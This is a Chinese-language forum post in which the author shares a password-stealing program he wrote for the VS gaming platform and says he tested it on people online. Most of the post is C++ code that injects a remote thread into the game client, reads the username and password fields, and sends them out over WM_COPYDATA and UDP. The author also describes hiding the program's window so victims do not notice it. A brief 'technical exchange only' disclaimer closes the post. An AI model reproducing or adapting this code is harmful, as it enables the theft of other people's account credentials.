寒假一个人在家无聊,看看书,玩2局dota,其他时间就是吃饭睡觉上网。。。
上星期突然想到有事干干,那就是写个盗号程序玩玩,于是,经过2,3天的写代码,调试,完成了 ,在这里和大家交流一下 ~(给新手交流下不错,高手不要看了)
其实本来准备写个浩方的盗号程序的,而且已经写好了,不过和同学测试的时候,同学说只有VS平台,说不得,只好把参数改了,变成现在的VS盗号程序。
其实程序是用vc写的,而且流程也比较简单,不过效果倒是不错,曾尝试了过,网上发帖测试过,对方如果不太懂电脑的话,中招的可能性很高。
好了,现在简单讲一下流程了,整个程序基于MFC对话框的(感觉有点挫 )
在主对话框里响应OnTimer函数,然后在OnInitDialog中Settimer。
然后就是关键了。。。Ontimer中调用CreateRemoteThread(其实这也是老方法了,网上这个函数的介绍已经多的烂了,百度一下一堆一堆的),不过还是要说一下我用了以后的感受:
首先就是在CreateRemoteThread之前要把要写入的线程,以及相应的要做参数传进去的数据结果,先用VirtualAllocEx在目标进程中分配好,然后再调用,(话说我当时很无知的直接调用CreateRemoteThread使进程崩溃了 )。
其次就是CreateRemoteThread在MFC程序下不能用debugger模式启动,启动后还是会让目标程序崩溃。。。网上查了,牛人说CreateRemoteThread在调试时会在目标进程多加入调试信息,导致崩溃。于是这个函数只能在Release下运行。
代码给出:
代码:
void *pRemoteThread = VirtualAllocEx(hProcess, 0, 1024*4, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (! pRemoteThread) return ; if (! WriteProcessMemory(hProcess, pRemoteThread, &RMTFunc, 1024*4, 0)) return ; MyData *pData = (MyData*)VirtualAllocEx(hProcess, 0, sizeof (MyData), MEM_COMMIT, PAGE_READWRITE); if (!pData) return ; if (! WriteProcessMemory(hProcess, pData, &data, sizeof (MyData), 0)) return ; HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)pRemoteThread, pData, 0, 0); if (! hThread) { return ; } CloseHandle(hThread); VirtualFreeEx(hProcess, pRemoteThread, 1024*3, MEM_RELEASE); VirtualFreeEx(hProcess, pData, sizeof (MyData), MEM_RELEASE); CloseHandle(hProcess);
代码:
DWORD __stdcall RMTFunc(MyData *pData) { typedef int(__stdcall*MMessageBox)(HWND,LPCTSTR,LPCTSTR,UINT); MMessageBox MsgBox = (MMessageBox)pData->dwMessageBox; typedef UINT(__stdcall*MGetDlgItemText) (HWND,int ,LPTSTR ,int ); MGetDlgItemText GetdlgText = (MGetDlgItemText)pData->dwGetDlgItemText; typedef LRESULT(__stdcall*MSendMessageA)(HWND,UINT,WPARAM,LPARAM); MSendMessageA SendMsgA = (MSendMessageA)pData->dwSendMessageA; GetdlgText(pData->ClientWnd,pData->UserNameID,pData->UserName,40); GetdlgText(pData->ClientWnd,pData->UserPasswordID,pData->PassWord,40); // else // MsgBox(NULL, pData->UserName, NULL, MB_OK); pData->mCopyData.lpData = (void*)pData->UserName; pData->mCopyData.cbData = sizeof(pData->UserName); pData->mCopyData.dwData = 0; SendMsgA(pData->MainWnd,WM_COPYDATA,0,(LPARAM)(&pData->mCopyData)); pData->mCopyData.lpData = (void*)pData->PassWord; pData->mCopyData.cbData = sizeof(pData->PassWord); SendMsgA(pData->MainWnd,WM_COPYDATA,0,(LPARAM)(&pData->mCopyData)); return 0; }
然后作为参数Struct的一个成员传进线程函数的。
发回主窗口用WM_COPYDATA发,因为是一个字符串,大小未知。
然后就是主窗口接了,
代码:
if (!IsSocketCreated) { m_Socket.Create(9995,SOCK_DGRAM); IsSocketCreated = TRUE; } char IPStr[20] = "127.0.0.1 "; m_Socket.SendTo(TempStr,1024,8885,IPStr);
好了,整个过程大体上完成了,如果对VC编程以及Crack有一些了解的话,应该还是比较容易的,不过读者大概会问:这个程序运行起来,对话框出来了,作为盗号程序不是太假了 么 ?
其实这个我也想了很久。。。后来发现一种很简单的方法,直接解决问题。
在Resource View中把对话框Visible属性改为False,这样,运行程序,什么都看不到,但是的的确确能收到消息,相当不错。。。
好了,整个流程介绍完了,源码我整理一下,稍后发出。
不过本人先声明:
本程序纯技术交流,请勿用于恶意破坏等非法用途,
否则给自己或他人带来严重后果,概与本人无关.失误之处恳请批评指正,
或有更好的方法或者技巧,欢迎互相交流.
祝各位愉快~